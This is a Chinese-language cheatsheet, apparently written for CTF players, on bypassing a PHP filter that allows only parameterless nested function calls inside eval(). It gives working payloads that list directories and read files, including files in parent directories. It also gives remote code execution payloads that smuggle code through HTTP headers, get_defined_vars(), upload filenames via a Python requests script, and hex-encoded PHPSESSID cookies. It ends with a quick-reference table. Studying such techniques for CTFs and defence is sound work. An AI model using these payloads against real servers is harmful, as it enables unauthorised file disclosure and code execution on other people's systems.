PHP 无参数读文件与 RCE 总结
0x01 核心原理
什么是无参数?
即函数括号内只能嵌套其他函数,不能出现字符串、数字或变量参数。
核心正则限制:
php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
[^\W]+:匹配函数名(字母、数字、下划线)。(?R)?:递归匹配整个模式,允许无限嵌套。- 允许:
a(b(c())) - 禁止:
a('b')或a(b,'c')
解题核心思想:
要想读文件或执行命令,必须找到返回值可控的无参函数,将其作为内层函数的返回值传给外层。
0x02 无参数任意文件读取
读文件的前提是列目录,列目录的核心是构造当前目录 . 或上级目录 ..。
1. 如何构造 . (当前目录)
方法一:localeconv() + current() (最稳定)
localeconv() 返回包含本地数字及货币格式信息的数组,其数组的第一个元素就是 .。
current()/pos()/reset():均可以获取数组的第一个单元。
php
print_r(scandir(current(localeconv())));
// pos(localeconv()) 也可
方法二:chr(46) 构造法
chr(46) 即字符 .。如何无参构造数字 46?
-
chr(time()) :
chr()以 256 为周期,time()不断递增,必然存在time()%256 == 46的时刻。 -
chr(current(localtime(time()))) :
localtime()返回的数组第一个值是秒(0-59),最多等 60 秒必然出现 46。 -
数学函数链 (phpversion()) :利用 PHP 版本号进行数学运算,极度依赖 PHP 版本,不实用,了解即可:
phpchr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
方法三:随机哈希构造法 (看运气,需多刷新)
-
hebrevc(crypt(arg)):生成的 hash 第一个字符有小概率是.,用chr(ord())提取。phpprint_r(scandir(chr(ord(hebrevc(crypt(time())))))); -
strrev(crypt(serialize(array()))):生成的 hash 最后一个字符有概率是.,用strrev()逆序后再用chr(ord())提取第一个字符。
方法四:直接绝对路径
php
scandir(getcwd()); // 获取当前工作目录
scandir(realpath('.')); // 结合上面的构造点
2. 如何读取指定文件
列出的目录是一个数组,我们需要利用数组操作函数定位到目标文件。
- 最后一个文件:
end(scandir(...)) - 倒数第二个文件:
next(array_reverse(scandir(...))) - 随机/正数第三个文件:
array_rand(array_flip(scandir(...)))(交换键值,随机取键名)
读文件函数:
show_source() / highlight_file() (直接回显)、readfile() / file_get_contents() (回显在源码中)、readgzfile() (常用于绕过关键字过滤)。
3. 如何构造 .. (上级目录)
-
方法一:
dirname()phpprint_r(scandir(dirname(getcwd()))); // 查看上一级目录 -
方法二:利用数组特性
scandir返回的数组前两个元素固定是.和..,因此next()就是..。phpprint_r(scandir(next(scandir(getcwd())))); // 查看上一级目录
4. 读取上级目录文件
直接读上级文件会报错(默认在当前目录寻找),必须先用 chdir() 切换工作目录:
php
// 切换到上级目录并随机读取文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
0x03 无参数命令执行 (RCE)
既然函数不能带参数,我们就把要执行的命令放在别处(HTTP头、全局变量、Session等),再用无参函数去取。
1. 利用 HTTP 请求头
核心函数:getallheaders() / apache_request_headers()
返回包含所有 HTTP 请求头的数组。
⚠️ 环境注意: 此函数原本仅限 Apache 环境,但 PHP 7.3+ 的 FPM 模式也支持了该函数,因此在高版本 Nginx 下也可用。
Payload:
http
GET ?code=eval(pos(getallheaders())); HTTP/1.1
Leon: phpinfo();
(根据请求头排序不同,可能需要用 end() 等函数定位到你控制的 Header 字段)
2. 利用全局变量 (最通用)
核心函数:get_defined_vars()
返回由所有已定义变量组成的数组,结构通常为:[0=>$_GET, 1=>$_POST, 2=>$_COOKIE, 3=>$_FILES, 4=>$_SERVER]。
Payload (GET传参):
http
GET ?leon=phpinfo();&code=eval(pos(pos(get_defined_vars()))); HTTP/1.1
解析:第一个 pos() 取到 $_GET 数组,第二个 pos() 取到 $_GET 中的第一个键值 phpinfo();。
Payload (利用 FILES 传参):
$_FILES 通常在数组末尾,需用 end() 定位。将 Payload 作为上传文件的文件名。
python
import requests
files = {"system('whoami');": ""}
r = requests.post('http://target/?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.text)
3. 利用 Session
核心函数:session_id() + session_start()
session_id() 可以获取/设置当前会话 ID。
限制与绕过:
会话 ID 仅允许字符:a-z A-Z 0-9 , -。无法直接传入括号等特殊字符。
绕过方法: 传入十六进制字符串,配合 hex2bin() 转换。
Payload:
http
GET ?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b
(注:706870696e666f28293b 是 phpinfo(); 的十六进制编码)
4. 利用环境变量
核心函数:getenv()
在 PHP 7.1+ 可不传参,返回所有环境变量。
限制:
默认 php.ini 中 variables_order = "GPCS",不包含 Environment (E),导致获取不到自定义环境变量。需改为 "EGPCS" 才能利用,因此实战利用条件较苛刻。
0x04 核心函数速查表 (Cheatsheet)
| 目的 | 常用函数 | 备注 |
|---|---|---|
获取当前目录 . |
current(localeconv()) |
pos() / reset() 同理 |
获取上级目录 .. |
next(scandir(getcwd())) dirname(getcwd()) |
数组第二个元素固定是 .. |
| 数组指针操作 | current()/pos() (首) end() (尾) next() (下一个) array_reverse() (逆序) |
组合使用定位目标文件 |
| 随机数组取值 | array_rand(array_flip()) |
盲读文件神器 |
| 读文件 | show_source() / highlight_file() readfile() / file_get_contents() readgzfile() |
readgzfile 可绕过部分过滤 |
| 获取外部数据(RCE) | getallheaders() (需Apache或PHP7.3+) get_defined_vars() (通用) session_id(session_start()) (需hex2bin) |
核心RCE手段 |